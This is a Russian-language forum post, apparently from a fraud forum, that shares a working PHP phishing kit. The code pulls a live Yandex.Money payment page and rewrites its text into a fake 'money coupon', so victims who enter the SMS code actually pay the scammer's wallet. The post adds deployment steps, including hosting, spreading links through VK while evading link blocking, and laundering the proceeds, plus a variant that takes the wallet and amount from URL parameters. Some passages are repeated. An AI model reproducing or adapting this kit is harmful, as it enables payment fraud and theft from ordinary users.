Всем привет.
Все уже видели тему с дефейсом страницы получения платежа Яндекс.Деньги? Там создают вот такие странички, под вид купона.
Есть у них одна огромная проблема - нужно каждый час обновлять код на хостинге, иначе оплата не пройдет, потому что устарел токен. Как я догадываюсь, если по одному токену уже оплатили, то второй платеж не пройдет, и мы не узнаем об этом и будем максимум получать 1 оплату в 60 минут.
Теперь этого делать не нужно. Я написал очень простой код, который автоматически (при каждом запросе страницы) получает корректную страничку оплаты и меняет тексты на те, что вы укажете. Получится такая страничка, как на скриншоте ваше.
Код страницы генерации купона:
Редактируем файл index.php:
Вместо НОМЕР ЯНДЕКС-КОШЕЛЬКА вставляем, соответственно, номер кошелька (он выглядит как 410011738561668).
Чуть ниже поле $sum = "1000"; - это сумма купона, меняем при необходимости.
Еще ниже $backurl = ""; - это ссылка, на которую попадет жертва после получения купона (ну мы же понимаем, что деньги получаем мы, а не они). Если нужно - вставляем.
На этом все. Заливаем на хостинг, привязываем домен, распространяем, отмываем.
Скидываю архив, в котором дополнительные ресурсы (картинки, стили).
Можно строки
Заменить на
Код кошелька и сумма будут браться из ссылки:
http://нашсайт.ру/?wallet=410011738561668&sum=1000
Для получения архива - 100 симпатий. Личные не даю. Тема готовилась для аудитории этого форума, а не тех, кто просто зарегистрировался.
Все уже видели тему с дефейсом страницы получения платежа Яндекс.Деньги? Там создают вот такие странички, под вид купона.
Есть у них одна огромная проблема - нужно каждый час обновлять код на хостинге, иначе оплата не пройдет, потому что устарел токен. Как я догадываюсь, если по одному токену уже оплатили, то второй платеж не пройдет, и мы не узнаем об этом и будем максимум получать 1 оплату в 60 минут.
Теперь этого делать не нужно. Я написал очень простой код, который автоматически (при каждом запросе страницы) получает корректную страничку оплаты и меняет тексты на те, что вы укажете. Получится такая страничка, как на скриншоте ваше.
Код страницы генерации купона:
Код:
<?php
$wallet = "НОМЕР ЯНДЕКС-КОШЕЛЬКА";
$sum = "1000";
$backurl = "";
$data = file_get_contents('https://money.yandex.ru/quickpay/cps-preparation.xml?receiver='.$wallet.'&sum='.$sum.'&quickpay-back-url='.$backurl.'&successURL=&shop-host=&form-comment=&short-dest=&quickpay-form=small&paymentType=AC&targets=qwerty&label=&comment=');
$array = array(
"Перевод пользователю Яндекс.Денег" => "Денежный купон на сумму " . $sum . " рублей",
"Счет получателя \(перевод физическому лицу\)" => "Назначение",
"Вы отправляете перевод физическому лицу — на электронный кошелек в Яндекс.Деньгах." => "Денежный купон от физического лица — на карту любого банка РФ.",
"Назначение платежа" => "Вид купона",
"Максимальные.*месяц." => "<b>ВНИМАНИЕ!</b><br><br>Вам будет выслано СМС-сообщение с кодом подтверждения, для списания средств с сервиса YANDEX.MONEY c последующим переводом на Вашу карту средств в размере " . $sum . " рублей.<br><br><b>Никому не сообщайте полученный код!</b>",
"qwerty" => "Денежный купон",
"Заплатить" => "Получить купон",
"Данные карты" => "Данные купона",
$wallet => "Перевод средств на банковскую карту",
"https:\/\/money.yandex.ru\/\/i\/logo_cards_small.png" => "/i/logo_cards_small.png"
);
foreach ($array as $i => $value) {
$pattern = '/'.$i.'/i';
$replacement = $value;
$data = preg_replace($pattern, $replacement, $data);
}
echo $data;
Редактируем файл index.php:
Вместо НОМЕР ЯНДЕКС-КОШЕЛЬКА вставляем, соответственно, номер кошелька (он выглядит как 410011738561668).
Чуть ниже поле $sum = "1000"; - это сумма купона, меняем при необходимости.
Еще ниже $backurl = ""; - это ссылка, на которую попадет жертва после получения купона (ну мы же понимаем, что деньги получаем мы, а не они). Если нужно - вставляем.
На этом все. Заливаем на хостинг, привязываем домен, распространяем, отмываем.
Скидываю архив, в котором дополнительные ресурсы (картинки, стили).
Если собираемся распространять в ВК, то регистрируем либо платный хостинг, либо бесплатный (подойдет любой с поддержкой PHP, сейчас такие все, насколько я знаю), но чтобы ссылка не блокировалась, ищем мануал в гугле по запросу "ссылка вк блогспот редирект".
Модернизация
Можно строки
Код:
$wallet = "НОМЕР ЯНДЕКС-КОШЕЛЬКА";
$sum = "1000";
Код:
$wallet = $_GET("wallet");
$sum = $_GET("sum");
Код кошелька и сумма будут браться из ссылки:
http://нашсайт.ру/?wallet=410011738561668&sum=1000
P.S. Этот генератор купонов можно использовать в разных целях. Например поменять все тексты и получится своя система оплаты. Можно сверстать/найти рулетку, а купон это будет выигрыш победителя. Код очень простой и там все должно быть понятно.
Для получения архива - 100 симпатий. Личные не даю. Тема готовилась для аудитории этого форума, а не тех, кто просто зарегистрировался.
Для просмотра содержимого вам необходимо авторизоваться.
Последнее редактирование: